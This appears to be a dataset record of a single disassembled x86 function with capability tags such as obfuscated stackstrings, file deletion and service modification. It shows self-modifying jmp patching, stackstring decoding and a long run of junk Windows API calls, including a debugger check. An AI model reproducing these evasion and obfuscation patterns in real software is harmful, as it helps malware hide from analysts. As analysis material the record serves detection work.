Function at 0xaa7000
Capabilities:
Contain obfuscated stackstrings
Delete directory
Delete file
Get common file path
Get disk information
Get disk size
Get session user name
Identify system language via api
Modify service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov dword [ebp - 0x10], 0xaa79af
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa7039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x5c], 0xaa7229
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x5c]
mov dword [ebp - 0x1c], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jae 0xaa70bb
call fcn.00484a12
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x1c]
jb 0xaa707d
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa7097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
cmp ecx, 2
jae 0xaa7097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x5c]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x5c]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa704d
mov byte [ebp - 0x58], 2
mov byte [ebp - 0x57], 0x6f
mov byte [ebp - 0x56], 5
mov byte [ebp - 0x55], 0x6c
mov byte [ebp - 0x54], 4
mov byte [ebp - 0x53], 0x7c
mov byte [ebp - 0x52], 0x27
mov byte [ebp - 0x51], 0xa7
mov byte [ebp - 0x50], 0x4c
mov byte [ebp - 0x4f], 0xc4
mov byte [ebp - 0x4e], 0xd1
mov byte [ebp - 0x4d], 0x36
mov byte [ebp - 0x4c], 0x94
mov byte [ebp - 0x4b], 0x45
mov byte [ebp - 0x4a], 0x85
mov byte [ebp - 0x49], 0xbf
mov byte [ebp - 0x48], 0x4f
mov byte [ebp - 0x47], 0x57
mov byte [ebp - 0x46], 0xc6
mov byte [ebp - 0x45], 0xd1
mov byte [ebp - 0x44], 0xdb
mov byte [ebp - 0x43], 0xad
mov byte [ebp - 0x42], 0x14
mov byte [ebp - 0x41], 0x3d
mov byte [ebp - 0x40], 0xd6
mov byte [ebp - 0x3f], 0x40
mov byte [ebp - 0x3e], 0xd
mov byte [ebp - 0x3d], 0x79
mov byte [ebp - 0x3c], 0xec
mov byte [ebp - 0x3b], 0xdc
mov byte [ebp - 0x3a], 0xe0
mov byte [ebp - 0x39], 0x46
mov byte [ebp - 0x38], 0xed
mov byte [ebp - 0x37], 0xdf
mov byte [ebp - 0x36], 5
mov byte [ebp - 0x35], 0x91
mov byte [ebp - 0x34], 0x23
mov byte [ebp - 0x33], 0x3e
mov byte [ebp - 0x32], 0x2c
mov byte [ebp - 0x31], 0x97
mov byte [ebp - 0x30], 0xe2
mov byte [ebp - 0x2f], 0xc8
mov byte [ebp - 0x2e], 0x73
mov byte [ebp - 0x2d], 0x4d
mov byte [ebp - 0x2c], 0x60
mov byte [ebp - 0x2b], 6
mov byte [ebp - 0x2a], 0x75
mov byte [ebp - 0x29], 1
mov byte [ebp - 0x28], 0x7e
mov byte [ebp - 0x27], 0
mov byte [ebp - 0x26], 0x7d
mov byte [ebp - 0x25], 8
mov byte [ebp - 0x24], 0x7d
mov byte [ebp - 0x23], 3
mov byte [ebp - 0x22], 0x2f
mov byte [ebp - 0x21], 9
mov byte [ebp - 0x20], 0x7a
mov byte [ebp - 0x1f], 7
mov byte [ebp - 0x1e], 0x74
and dword [ebp - 8], 0
and dword [ebp - 0x60], 0
jmp 0xaa71b9
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x3b
jae 0xaa721e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x58]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa71e5
mov dword [ebp - 0x60], 0x27
mov eax, dword [ebp - 8]
add eax, 0x25
mov dword [ebp - 8], eax
jmp 0xaa71b1
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x57]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x60]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jge 0xaa720d
mov eax, dword [ebp - 0x14]
add eax, 0x100
mov dword [ebp - 0x14], eax
jmp 0xaa71fa
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x58]
mov cl, byte [ebp - 0x14]
mov byte [ebp + eax - 0x6c], cl
jmp 0xaa71b1
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x6c], 0
push 0
push 0xa9c65a
lea eax, [ebp - 0x6c]
push eax
lea ecx, [ebp - 0x84]
call fcn.00407c40
mov ecx, eax
call fcn.00403073
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x84]
call fcn.00403017
and dword [ebp - 0x18], 0
jmp 0xaa7267
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xb
jae 0xaa7277
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x6c], 0
jmp 0xaa7260
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_SysFreeString]
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x37a
call dword [sym.imp.USER32.dll_GetSystemMetrics]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0x26e4
push 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
push 0x176d
push 0x2599
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
push 0x301
push 0
push 0
push 0x1c44
push 0
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
push 0x1a69
push 0x1151
call dword [sym.imp.USER32.dll_SetCaretPos]
call dword [sym.imp.USER32.dll_CreateMenu]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_UpdateColors]
push 0
push 0x1d8
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
push 0x2697
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
push 1
push 0x1109
push 0x214c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemInt]
push 0
push 0x1078
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0x485
push 0x7bb
push 0xcd8
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0x12a8
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x21a6
push 0x18ee
push 1
push 0
push 0x1262
call dword [sym.imp.USER32.dll_MsgWaitForMultipleObjects]
push 0
push 0x725
push 0x251f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
push 1
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
push 0
push 0
push 0xcbe
push 0
push 0xdfd
push 0
push 0x1f3
push 0
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
push 0
push 0
push 0x1206
push 0xcf1
push 0
call dword [sym.imp.USER32.dll_InsertMenuW]
push 0x301
call dword [sym.imp.GDI32.dll_GetStockObject]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogParamA]
push 0x1b97
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
push 0x2294
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
push 0
push 0x20c4
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetDlgItemTextA]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0x12ba
push 0
push 0xaaa
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItemTextA]
push 0xc9b
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
push 0x1dae
push 0x1070
push 0xaa2
push 0x1585
call dword [sym.imp.GDI32.dll_CreateRectRgn]
push 0
push 0x1f62
push 0
push 0x18ce
push 0x12d0
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x23f7
push 0x247a
push 0x1a88
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
call dword [sym.imp.USER32.dll_PeekMessageA]
push 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RemovePropA]
push 0
push 0x2168
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32A]
push 0
push 0x26a5
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SignalObjectAndWait]
push 0
push 0
push 0x1cea
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
push 0
push 1
push 0x2297
push 0
call dword [sym.imp.USER32.dll_SetMenuItemInfoW]
push 0x16ed
push 0
push 0
push 0x1275
push 0xf49
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0x1726
push 0
push 0
push 0
push 0
push 0xb3e
push 0x207d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndPaint]
push 0
push 0x17de
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0
push 0
call dword [sym.imp.USER32.dll_DialogBoxParamA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x8be
push 0x1a5
push 0x2299
push 0
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfigW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push 1
push 0x1ecc
push 0xf98
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetScrollPos]
push 0x1ea1
push 0xe99
push 0x23ec
push 0x266d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Rectangle]
push 0xec1
push 0xe30
push 0
call dword [sym.imp.USER32.dll_RemoveMenu]
push 0x3bd
call dword [sym.imp.USER32.dll_MessageBeep]
push 0
push 0
push 0x1a13
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
call dword [sym.imp.KERNEL32.dll_SuspendThread]
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLangID]
push 0x966
push 0x18dd
push 0x18b0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x1950
push 0x1dac
push 0x1658
push 0x1fe7
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push 0
push 0x10d2
push 0x24dd
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPixel]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_HideCaret]
push 0x1546
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0x2fe
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
push 0x18
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextAlign]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push 0
push 5
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
call dword [sym.imp.USER32.dll_RegisterClassA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0x1e3
push 0x1fd0
push 0x1c4
push 0x1032
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExcludeClipRect]
push 0
push 0
push 0x1afa
push 0x77f
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SendDlgItemMessageA]
push 0
push 0x1246
push 0
push 0x1640
push 0xabc
push 0
push 0x1116
call dword [sym.imp.KERNEL32.dll_FormatMessageW]
push 0
call dword [sym.imp.USER32.dll_GetMenuItemCount]
push 0xaec
push 0
push 0x5d3
push 0x1c5b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_TextOutA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0x42c
push 0
call dword [sym.imp.OLEAUT32.dll_SafeArrayGetLBound]
push 0
push 0x39a
push 0x1d2e
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0
call dword [sym.imp.GDI32.dll_CreatePalette]
push 0x9f1
push 0x16d3
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsIconic]
push 0x1acf
push 0x1336
push 0
push 0x1e85
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
push 1
call dword [sym.imp.USER32.dll_ShowCursor]
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadPriority]
push 0x1f6a
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0x1309
push 0x1d4a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawEdge]
jmp 0xaa79b9
mov esp, ebp
pop ebp
ret